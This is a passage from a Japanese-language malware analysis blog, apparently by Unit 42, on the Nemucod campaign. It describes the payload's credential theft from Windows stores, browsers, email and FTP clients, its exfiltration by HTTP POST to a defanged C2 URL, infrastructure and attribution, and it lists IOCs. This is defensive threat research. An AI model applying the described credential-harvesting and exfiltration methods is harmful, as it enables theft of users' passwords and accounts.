前述したリモート ホストの IP アドレスへの通信中、JSE は別の PE (Portable Executable) ファイルをダウンロードすることがあります。またそのペイロード部分はそれぞれに異なっている可能性があります。この特定バージョンの特定の回では、Base64 でエンコードされ UPX でパックされたPE ファイル (SHA256 値:76b703c9430abf4e0ba09e6d4e4d6cf94a251bb0e7f3fadbd169fcef954a8b39) をダウンロードし、さらにまた別の PE コンポーネント (SHA256 値:53edea186162d84803f8ff72fb83c85f427b3813c32bd9d9d899e74ae283368e) をメモリにインジェクトして、認証情報の収集とその流出 (次項で説明) という役割に当たらせていました。その目的や動機によって、このマルウェアを別のものに差し替わる可能性もあります。たとえば、ポーランドの CERT チームは年初にあるブログ(英語)を投稿し、そこで本マルウェアに関連するマルウェアが最終的にランサムウェアにつながると説明していますが、これまでの調査ではいまのところ、そうした動作はまだ確認されていません。

認証情報の収集

Nemucod によってインストールされるペイロード ファイルの 1 つをさらに分析した結果、このマルウェアがどの程度の認証情報窃取機能を持っているのかが明らかになりました。ペイロードには様々な OS とアプリケーションの認証ストアを列挙し、できるだけ多くの認証情報を収集しようとしています。

Protected Storage (Pstore)

実行されているシステムがたとえば Windows XP などの旧 OS だと判断すると、本マルウェアは pstorec.dll ライブラリをロードして旧 Windows データストアである Pstore にアクセスしようとします。これが成功すれば、ポインタを Pstore に移動できるよう PStoreCreateInstance 関数が呼び出されます。これにより、次の図 26 に示すように、格納されているすべての認証情報を一覧・取得できる関数群が呼び出せるようになります。

nemucod_23

図26: 旧 Windows の Pstore にアクセスするペイロードのコード

認証情報のキャッシュ

本マルウェアは次に認証情報のキャッシュをチェックします。認証情報のキャッシュはより新しいバージョンの Windows で使用されているもので、Windows Internet Explorer 内のすべてのビルトインアプリケーションに対して自動的に認証情報の格納や使用ができるようにしています。 HTTP のベーシック認証パスワードを利用する認証情報のほか、ネットワークのログインパスワードもここに格納することができます。次の図 27

に示すように、本マルウェアは「Microsoft_WinInet_*」で始まるパスワードのみを検索するようフィルタリングすることで Internet Explorer に格納されている後者の認証情報だけをとくに検索しています。

nemucod_24

図 27: Internet Explorer に格納された認証情報にアクセスするペイロードのコード

図 27 には 128 ビット値の GUID (Globally Unique Identifier) である「abe2869f-9b47-4cd9-a358-c22904dba7f7」が表示されています。本マルウェアは格納された認証情報の取得後の暗号化・復号化にこの GUID と Windows に組み込みの Cryptography 機能を併せて使っています。

Windows Vault

ブラウザそのほかのアプリケーションからデータを収集する前に攻撃者は最後にもう一箇所認証情報の格納場所をチェックします。Microsoft の「Windows Vault」と呼ばれる、組み込みの Credential Manager の一部です。被害者の OS が 6.2 (Windows 8 または Windows Server 2012) であることがわかった場合、本マルウェアは Vault Client Access Library (vaultcli.dll) をロードして格納されている認証情報にアクセスします。

ブラウザ

攻撃者は次に Firefox、Chrome、Opera などの web ブラウザに注目します。Internet Explorer についてはすべてにこれまでの手順でカバーされています。マルウェアは様々な Windows のレジストリキーを一覧し、まずこれらのブラウザのインストール先フォルダのパスを集めてからそこに格納されている認証情報を収集します。

Chrome を例に取ると、本マルウェアは、Chrome が作成し、さまざまな情報を格納するのに使っている sqlite データベース ファイルの場所を特定します。攻撃者が標的にするこうした sqlite ファイルの 1 つが「Web Data」という名前のファイルです。このファイルにはログインや住所などの HTML フォームに自動で入力されるオートフィル用の情報が格納されています。sqlite コマンドの「.tables」は次に示すようにテーブル名の一覧を作成します。

sqlite> .tables
autofill                 credit_cards             server_addresses       
autofill_profile_emails  ie7_logins               server_card_metadata   
autofill_profile_names   keywords                 token_service          
autofill_profile_phones  masked_credit_cards      unmasked_credit_cards  
autofill_profiles        meta                   
autofill_profiles_trash  server_address_metadata

 

この検証用システムの「Web Data」データベースの「autofill」テーブルに格納されたデータを確認してみると、以前 HTML フォームの自動入力に使った偽名と偽の電話番号に関連した詳細を確認することができます。

sqlite> select * from autofill;
FirstName|Bob|bob|n|n|1
LastName|REDACTED|REDACTED|n|n|1
deviceAddress|REDACTED|REDACTED|n|n|1

 

このほか、本マルウェアは「Login Data」名前のデータベースにもアクセスします。このデータベースには「logins」という名前のテーブルがあり、このテーブルには次の例に示すように Google アカウント サービスにログインを表示してメールやカレンダーなどにアクセスするための情報が格納されています。

電子メール クライアント

次に注目するのが被害者のシステムにインストールされた電子メールクライアントからの認証情報収集です。Outlook や Outlook Express がまず検索されます。マルウェアはレジストリ キー「HKEY_CURRENT_USER\Software\Microsoft\Internet Account Manager\Accounts」をチェックしてシステムにインストールされている電子メール クライアントやWindows のアドレス帳に関するデータを探し、次の図 28 に示すように SMTP、POP3、IMAP プロトコル用のすべての「Server」「User」および「Password」の値の一覧を作成してそれぞれのデータを集めます。

nemucod_25

図28: 電子メール クライアントのアカウント認証情報が格納されている Windows レジストリ

本マルウェアは続いてほかにインストールされている電子メール クライアントについてもチェックしてさらに認証情報を収集しようとします。この対象にはMozilla Thunderbird やRITLabs の TheBat!、Windows Mail や Windows Live Mail も含まれます。

ちなみに、電子メール クライアント TheBat! はモルドバ共和国の首都キシナウを本拠地とするソフトウェア会社、RITLabs が作成したものです。

この事実は興味深いものです。というのも、攻撃者グループによって利用されているインフラの一部 (後に詳述) もこのモルドバに存在または登記されているからです。

本マルウェアは SSH (Secure Shell)、FTP (File Transfer Protocol)、および HTTP など、リモート接続してシステム管理し、システム間でファイルを転送するために利用されることの多いプロトコルで通信を行うソフトウェア アプリケーションがシステム上にあるかどうかをチェックします。この目的は、そうしたソフトウェア アプリケーション内に格納されている認証情報、ホスト名、IP アドレスなどがあればそれらも併せて収集することにあります。こうした種類のアプリケーションに格納されている認証情報は、不正アクセスに成功したネットワーク内での偵察行為を継続したり別の攻撃を達成したりするなど、さらなる展開を狙う攻撃者には非常に便利なものです。

対象とされたアプリケーションには、SSH 経由でファイルのコピーを行う WinSCP (Windows Secure Copy) や、Ghilser 社の Total

Commander、FileZilla、FlashFXP、Cyberduck、CoffeeCup Software、CuteFTP、SmartFTP などがあります。これらはすべて FTP 機能を含むアプリケーションです。

流出

マルウェアが見つけた認証情報はすべて被害者の一時フォルダ内のテキストファイルに格納され流出の準備が行われます。このバージョンの例では、このテキストファイルに次の名前が付けられていました。

%TEMP%\goga.txt

このテキスト ファイルのフォーマットは次に示すとおりで、以前被害者を識別して登録するのに使われた一意の識別子 (UID) が日時とともに含まれており、攻撃者はこの情報にもとづいてデータを仕分けることができます。UID と日時情報の後には、マルウェアの実行中に収集された認証情報が続きます。認証情報には、プロトコル、必要なポート番号、ユーザー名、パスワード、ホスト名が記載されます。

TEST-UID

YYYY-MM-DD HH:MM:SS

ftp://username:password@ftp.somedomain.com:21

https://username:password@accounts.somedomain.com/

本マルウェアはその最終段階で収集したすべての情報を攻撃者に引き渡します。この通信には HTTP POST リクエストが使用されます。次のような文字列を HTTP ヘッダの User-Agent フィールドに設定することにより Windows 7 オペレーティング システムと FireFox ブラウザに見せかけたHTTP POST リクエストが発行されます。

Mozilla/5.0 (Windows NT 6.1; rv:45.0)

本マルウェアは Wininet.dll ライブラリから InternetOpenA、InternetConnectA、HttpOpenRequest 関数を呼び出して HTTP POST リクエストを準備し、次の URL に goga.txt のコンテンツを送ります。

http://185.159.82[.]11/re/b.php

インフラ

WHOIS の報告では、このバージョンのマルウェアにより感染した被害システムの登録、窃取された認証情報の流出の両方に使用されている IP アドレスは以下のようなものとなっています。

  • The IP belongs to a Russian-owned hosting service, King Servers
  • The IP resolves to domain customer.clientshostname.com

詳細については後述しますが、本調査内で収集したすべてのサンプルについて IP アドレスとホスト名情報を調査するとさらに大掛かりなインフラが利用されていることが分かりました。とはいっても、本ブログ記事を通じ、これまで解説してきた単一の IP アドレスがその中心的存在でありつづけていることには変わりがありませんでした。図 29 に示すとおり、兵器化された文書を含むマルウェアのサンプル (赤い丸)、PE ファイルのサンプル (赤い丸に青いブックマーク)、そしてドメイン名(青い丸) はいずれも、この単一の IP アドレスと customer.clientshostname.co.uk というドメイン名に関連付けられていたのです。

図 29 に示す大半のサンプルは、2016 年 12 月に見つかった 2 つを除いて AutoFocus で 2017 年 1 月から 3 月にかけて見つかったものです。ホスト名 customer.clientshostname[.]com に名前解決される IP アドレスは図中オレンジの丸で示しています。このオレンジの丸につながっている青い丸は clientshostname[.]com のサブドメインを表しています。その大半には、姓と名を名姓の順に繋いだ「joebloggs」のような命名規則が用いているようでした。 DNS の逆引きすると、これらのサブドメインのいくつかが Grizzly Steppe についての報告書(リンク先英語)の IOC (Indicator of Compromise、攻撃や侵入の痕跡) に記載されている IP アドレスにつながっていました。分析されたサンプルからこうしたサブドメインがどのように使用されたかはわかっていません。

nemucod_26

図29: インフラの一部

次の図は、ほかの 2 つの IP アドレス (185.130.104[.]156 と 185.130.104[.]178) に注目した図です。これら 2 つの IP アドレスは、同一のクラス C ネットワーク範囲に所属し、また前掲の図の IP と同一のクラス B ネットワーク範囲に所属しています。この図では、1 つの PE 実行ファイル (認証情報を窃取するスティーラーで、ここでは赤い丸に青いブックマークとして表示) を除き、すべてのバージョンが兵器化された文書で、そのほとんどがこの図の下部、半円の中心、ズームインされた矩形の中に示された IP アドレス 185.130.104[.]156 を参照しています。1つの例外を除いてすべてのサンプルが AutoFocus で 2016 年 11 月に見つかっています。この例外は矢印 1が示しているものでこれだけは 2016 年の 12 月の終わりに見つかっています。

興味深いことに、この IP アドレスもまた関連づけられたドメイン名がありました。これらのドメイン名をズームインした矩形内に示しています。

letstrade-bit[.]com、lesbtc[.]com (および mail.lesbtc[.]com)、secure-trade24[.]com などです。最初の 2 つのドメイン名は 2016 年 12 月 20 日に登録され、残りは 12 月 14 日に登録されていました。これら 3 つのドメインはいずれも取引やビットコイン (BTC) をうかがわせる名前が付けられていますがこれまで分析したサンプルでは、こうしたサブドメインがどのように使用されたのかについてははっきりしていません。しかしながらこれらはビットコインによる身代金支払いを要求する最近のランサムウェアを思わせる用語といえます。

IP アドレス 185.130.104[.]178 (矢印 2) には、関連する兵器化された文書のバージョンが 3 つあります。これらはすべてAutoFocus で 2017 年 2 月下旬に見つかったものです。図30では、前掲の IP アドレスと併せ、月ごとにどのように攻撃キャンペーンの波が変化しているか、また攻撃者が自身の C2 サーバーとの通信用にインフラ内でどのように異なる IP アドレスを切り替えて使っているかを示しています。

partial-infra

図30: インフラの一部

攻撃者が一定のバージョンのグループごとに異なる C2 通信ホストを使用するという点に着目したのが次の図です。この図からさらに多くのバージョンのグループが C2 通信のために異なる IP アドレスを使っている様子が見て取れます。下の 2 つの IP アドレスはやはり互いに同一のクラス C ネットワーク範囲に所属しており、うち IP アドレス217.28.218[.]231 のものはある 1 つのバージョンでしか使用されていません (矢印 1)。なおこのバージョンが AutoFocus で 10 月 26 日に最初に見つかったバージョンでした (そしてこれが『ブレイキング・バッド』への言及が行われていたバージ

ョンです)。もう一つの IP アドレス 217.28.218[.]210 のホストは 12 個の既知のバージョンで C2 通信に使用されており、うち 3 つは認証情報を窃取する PE 実行ファイルでした。残りのファイルは兵器化された文書です。

nemucod_28

図31: 10 月 26 日に見つかった最初のバージョンを含むインフラの一部

以下の図 32 に示す 2 つの兵器化された文書のバージョンは、12 月 19 日と 12 月 30 日 に AutoFocus で見つかりました。これらのバージョンは他の大半のバージョンが電子メールで被害者に送信されたのとは異なり、web アプリケーション経由でダウンロードされたもので、感染元となったのは argos-tracking.co[.]uk という web サイトでした。被害を受けたのは英国の通信関連企業と医療関連に所属する組織でした。

nemucod_29

図 32: argos-tracking というドメイン名を示すインフラの一部

.co.uk というセカンド レベル ドメイン (SLD) からは UK に本拠地をおくビジネスを標的としていることとがうかがわれます。これに加え、argos、 tracking という用語が使われていることから、これを見た英国市民の多くが、オンライン小売業と小包配送サービスを含め、英国を中心に小売販売事業を展開している Argos 社に関連しているドメインだろうと推測することになると思われます。この情報と AutoFocus を使って確認した英国の標的を合わせれば、この攻撃者グループが英国でソーシャル エンジニアリングによって被害者を騙そうとしたことは明らかです。

WHOIS のレコードによれば、argos-tracking.co[.]uk ドメインの登録者 は Mr Milosh Zotich というセルビア共和国ベルグラードの人間で、

parking-1.domains4bitcoins[.]com と parking-2.domains4bitcoins[.]com をネームサーバーとして登録した上で 2016 年 12 月 15 日に現時点では廃止されている当該ドメインを登録していました。この登録日は AutoFocus でドメイン名がみつかるたった 4 日前です。Domains4bitcoins について若干捕捉すると、こうしたサービスは、デジタル暗号化された通貨を使うことにより、ドメイン登録やホスティング サービスの匿名で利用する用途で使われています。これらのネームサーバーは 12 月 20 日に ClouDNS の異なるネームサーバーに変更されていました。ClouDNS は無料で

DNS ホスティングとドメイン名を提供しているサイトです。

もっとも最近の argos-tracking.co[.]uk ドメインへの変更は 2017 年 2 月 22 日 に行われた同ドメインの廃止申請です。この例は、侵害の成功率をあげるためなら攻撃者グループがどれほど被害者の偵察に手間をかけるかを示す好例と言えます。

まとめ

Nemucod マルウェアは、主に兵器化された文書を使って攻撃をしかけてくるマルウェアです。兵器化した文書は悪意のある VBA マクロ コードを含んでいます。この VBA マクロ コードは、エンコードされた悪意のある JScript ファイルを組み立てて実行します。実行された JScript ファイルは攻撃者の C2 サーバーに被害者を登録してからペイロードをダウンロードします。この例では認証情報を盗むトロイの木馬の実行ファイルがダウンロードされています。

スパム攻撃キャンペーンで使われる電子メールに実行ファイルを添付し、添付した実行ファイルにエンコードした JScript のコンテンツをドロップさせるという手法は、兵器化した文書によってコンテンツをドロップする手法に比べるとほとんど使用されていません。というのも、電子メールに実行ファイルが添付されていると、被害者が疑念をいだきやすくなり、その結果うまく感染させられる確率が下がることが理由と推測されます。

Unit 42 チームと AutoFocus が 2016 年 10 月下旬から 2017 年 3 月下旬にかけて確認したこの特定の Nemucod 攻撃キャンペーンは、様々な国に影響を与えていましたが、とりわけヨーロッパの国々が数多くの産業セクタをまたいで大きな影響を受けていました。

本稿でこれまで説明してきたように、argos-tracking.co[.]uk ドメインの登録情報、その多くがロシア人の所有する King Servers ホスティング サービスに帰属する IP アドレスの場所、兵器化された文書で使われているコード ページと言語設定などの詳細を考慮すると、本マルウェア、マルウェアによる攻撃キャンペーン、また背後にいる攻撃者グループは、東ヨーロッパのいずれかの国に端を発している可能性が高いでしょう。

本攻撃で使用された配布文書の進化的な変更や、難読化のテクニック、ソーシャル エンジニアリング手法のように、ほかのスパム攻撃キャンペーンでも、最近は開発ペースと単独の攻撃キャンペーン内での変更により、より多くの被害者を集め、より長い期間検出を避けることに注目しています。これについてはまた別の Unit 42 ブログ(リンク先英語)で説明していますのでこちらを参照してください。

パロアルトネットワークス製品をご利用のお客様はこれらの脅威から以下の方法で保護されています。

  • これまで論じてきたすべてのサンプルは WildFire のサンドボックス プラットフォームで悪意があると判別されます。
  • 特定されたドメインはすべて悪意があるドメインと判別されます。
  • AutoFocus ユーザーの皆様は本稿で説明したマルウェアをNemucod (リンク先英語)タグで追跡できます。
  • Traps をご利用のお客様は Nemucod の実行を Traps が阻止することにより保護されています。

兵器化された文書を Traps が保護しているエンドポイント上で実行すると、疑わしい子プロセスの実行によりデフォルトの制限がトリガーされ、システムが保護されます。この例では Winword.exe (Word のプロセス) が wscript.exe (Windows Scripting Host のプロセス) を実行しようとしています。こういった兵器化された文書はその多くが電子メール経由で着信することを勘案すると、実際には Outlook など電子メールクライアント

アプリケーションの実行プロセスツリーがより深いものになることが多いでしょう。すなわち、Outlookが Word を実行し、続いて Word が

Windows Scripting Host を実行するというシナリオです。次の 図 33 では、こうした活動に対する Traps の典型的な防止アラートを示しています。

nemucod_31

図 33:次世代エンドポイントセキュリティTrapsが子プロセスの実行制限によりマルウェア感染を阻止

次の図 34 は ESM (Enterprise Service Manager) 上で影響を受けたホストについての詳細画面を表示しています。トリガーされた制限 (1)、ホストのシステムと関与したプロセス群 (2) およびそのハッシュ値、バージョン、存在する場合は電子署名、その他関連するファイルや URL などです。この例では、Windows Scripting Host プロセスのコンテキストで実行しようとした JSE ファイルが (3) に記載されています。

nemucod_32

図 34: Traps Enterprise Service Manager (ESM) がブロックしたマルウェアとその制限内容についての詳細画面

 

付録 A: IOC

電子メールの添付ファイル名:

Microsoft Office Word Document.doc

Details.doc

List.doc

Doc1.doc

Agr.doc

YoursDoc.doc

Docs.doc

YourGoods.doc

R.doc

r_vk.doc

Vertragskopie

goods.doc

Agreement_copies.doc

documents.doc

Vertrag.doc

file

Bishop-GmbH-Vertrag.doc

Rechn.doc

Rec.doc

電子メールの件名:

Your Eguipment

AW:Your order was completed

AW:Delivery

Re:Delivery

Documents

AW:Goods

Delivery

Goods

Package

Re:Documents

AW:Package

Re:Order

Re:Waiting for payment

AW:Waiting for payment

Re:agreement

Re:Your order was completed

AW:Order

AW:Documents

Re:Package

Re:Goods

AW:agreement

Get Carried Away at The Peninsula

Discover The Revolutionary Trick To Restore Your Memory!

RE: Rechnung

AW:Rechnungen

RE:Rechnungen

AWd: Rechnung

RE: billing terms

RE: We are waiting for your payment.

RE: payment

AWd:Rechnungen

AW:Auftrag

AW:Dokumentation

AW:Technikdokumentation

RE:Begleichung

AW:Schlussbestimmungen

re:bishop-gmbh-vertrag

AW: Rechnung

PE ドロッパーのハッシュ値

1b64d1c93e53fa74d89c3362c30899644e9fef7f11292f40740b216bcbe03285

1db89009b678ba4517fc7490b9a7f597b838939499365374eba32347393fdd4e

85d56628f7ec277a5f49a801ef4793072edd56d9c26b0bdb9b3dc348366c734a

b75b3ff65632b65d1d641075bd2f5ed0ede93da3a35d7f50068b9371ee5c4552

ffc5e46200f16549f17d2d6e4d6e5e61239b711cd07fbf7932c31e2ea18a7865

文書ドロッパーのハッシュ値

0a59bc35fe7bd84c955402aba2ad3883a5cdb08deb353c8f6310a163109f0c60

fee6b19ff8a39e83756345af421d3d85d20e67df62ac58bc05f514c368efc329

8e9af7d90193bddc89d1c3782477bde76f90707eb1900537c020fc02970bbd74

c173085b954ff1055fb859e6584a9e0bb3919740752351ad50706c0b7be37b51

1faa27f82bcbad0acc444727e7be35147e5a2ee92757781e5f26db614d3cee7f

6ebd2955fb137b5c983bbfb7601ea49ceb1f66119d13ce850c12d89e8c6a3742

777560483cb903ba803bfdbbd1f37353706da3a265e32da44fffb3ec7fcf07a2

7df6bd0af983f87dc34a71d009a3bd3bd272e094c6c55bf765148d836129e10c

d58cfd2d851b9c98f9de79d38944d72eddec1e2243f1065de7d8b1ed1bf1cddd

4916bc8dc91941a444d3aa41616eaebe8c3d4b095a0c566945b85c143ae532c1

de5ac4aedaca5649758bf34c87fd59967c2adeaaa0be65a58b9c8e9f6a8660f1

368304125ffd86a234aeb8c05a90b7ee40b37dae1dea7178deeda522eac9dcbc

1384934c09f6551d19150bfcf8ae954f4969d0b9ff841c93f81ebb57eecc9a71

f89edff923d1d2daf6b2ab36595e873ed7d1cd52c2f6b66b590fa636c17dced2

b1d5bfb124a15ab9068cf413de430a1c2cbd7b2bf67a766cf971269c67c3eace

256078f83cf9535c72debffa3d34818789849131e9138589728b4085e2ae2169

d3683a4fe910d5815541beb2c42b98827a1f6362073b9901a74c36e15072c1a2

cfe56d178ff873a5d984220c96570144a6674ce1b675036566a93ff6d680a981

069a4abb186efb6c3b6733cb2f35151d03eefe40cfb626d3c42aaa5f7ef342c6

97ea044a5820f9271c21bd8f1bb381099fb188a7d9f54ac72a88bf41411cf1b3

5b331693bc7ad009db3905fd37edfa94c528b6c4eee024f7a35dcc9b6b8a9c26

7e62823f8a775674b6333ff535e93a9fc0bdcfd943c903fe85e614b34d692549

a85b040e923e45a3e139576c2086a8f1671b1c60053274d850218ffa422f80e6

1c95a2a32b639008245a205f51aa7fbafc0b61ecc6879f9978be174feee516f4

9e9e7ade1def82a56898415c079bd3f861c143f9db6770a28592bbbe04d5f234

40fd876c5d7f859484a8d3a021ce3c5eeba23deb8574f4b598aeaa6a0ded7815

92c82d7ea7b89f02c5b8e7d93d2a4ad17fbc0688ff9ad881cc185c18ea466232

ae3bb85b87d40a12e82b2545fd4c9087b3e847a744a27c1ac215dd38821ced87

c600c7638474fb31664ab32fb9aad5c216096b2c68d93c9eb37cf0476868cf05

8451cf3f5e5e2576f2ad36a4f19998e5824c2ab185f40ddec460a81ab1a8525a

34e5104bea2728cf9107b4ede124daee8ac68ad0979c66c356ddf3a0e6d0f4c6

7b48b21b10990cd53bb8969930b9f0b39cc495e95a33c38f80024a21a72b0176

dcf3c00a20af527869771a7834565fb938739e3abf84038e2376b23a14926a38

d8e62ce3039921c11872319a09acc61038f2452a6a2fdb8c0d3a0848b56b26ff

50ab7834e98c2f40d7441006a0221c07bff5f9f694999b595daa29b37c9a5e12

b4d3c369449ead7ced48f84b9ea29cb4dbc6f485958e813b102c1d32ce62d3e8

a02ed37812ac37d44979d5131aa10927fb9b9bd09aae2b470e65532bc694b27c

61bcd9b0c11989d6049fd181786f1748116c128bd4768d1b6849805186190320

6edbbc7f02179211c5b8da74a770492e25b31be683468629a073f313f25ec8b6

985d44dfeaf83c2c39c331e4b07b19e8726fb0ec168223455476132fe8c32fc8

1a60afa5c3dcff0fc41179e6a3b71ea0a92e4b50192eaa4c8e2b16ea0c50a229

76edebe74e015e709abb662c4fa8a2db2f24c12d5b6c51822eef403bf3c3a304

3fdcaf24d5c45d7a8dcf1b2932c026915a982de19b52a8f346ca312c58d36f05

561343438f0c26fa7628a91584628a5bd62c3abe1c0cf890b9fdb0528adbde62

7f53abc951258d5663119f3ac383b8f84da5acbf0bb9063e5e113ca87b1843ae

7c552166089ebf45081a5d14bef331e3153a5de50c53b66211b044a08f46153c

432a220ca1e6c64546f21807e17521c243cce2a63d956d0c0cf21a1101835829

297665276699830549c83ae79cd2c48e23733e9569be8040ee38d08a4d99192e

5e54c865afbd42f5a7b4007840e3099d8e1882c58542d08263ffc23fe994ef9b

8aa5a12bb237f93fc0c3f150a41fcc60e86007b1000c2b133457b2be27dfad4e

8e7f77a61a1e710e368257a37fe6785f9b608bb068e5c40824623d299997dbf0

379615acf199bb0beaee736824067b83dcbb2ae60eb648576c81d4971330dd16

ad94f396f739d4df07f188b9babee829d07da01c986f4795a098d66137c7149c

ff7fa949a99d745143d41eeb6b450dca3d95a38031e304b1e829c5bda2ce5213

034421d601d43883528d68741c87e765d76ff4123161d364f6eddfae1f3c7493

e86c5f4fbcd626e1ec4c211ae1ed0d541fc453e6753e84a724f534c0b9700029

8b96d5316accd7d2ee0af01a4ae2766b7173d7705b3eef14d9dcb10cd34238ed

PE パスワード スティーラーのハッシュ値

53edea186162d84803f8ff72fb83c85f427b3813c32bd9d9d899e74ae283368e

76b703c9430abf4e0ba09e6d4e4d6cf94a251bb0e7f3fadbd169fcef954a8b39

99c50b658c632214f0b133f8742a5e6d2d34e47497d7a08ed2d80e4299be3502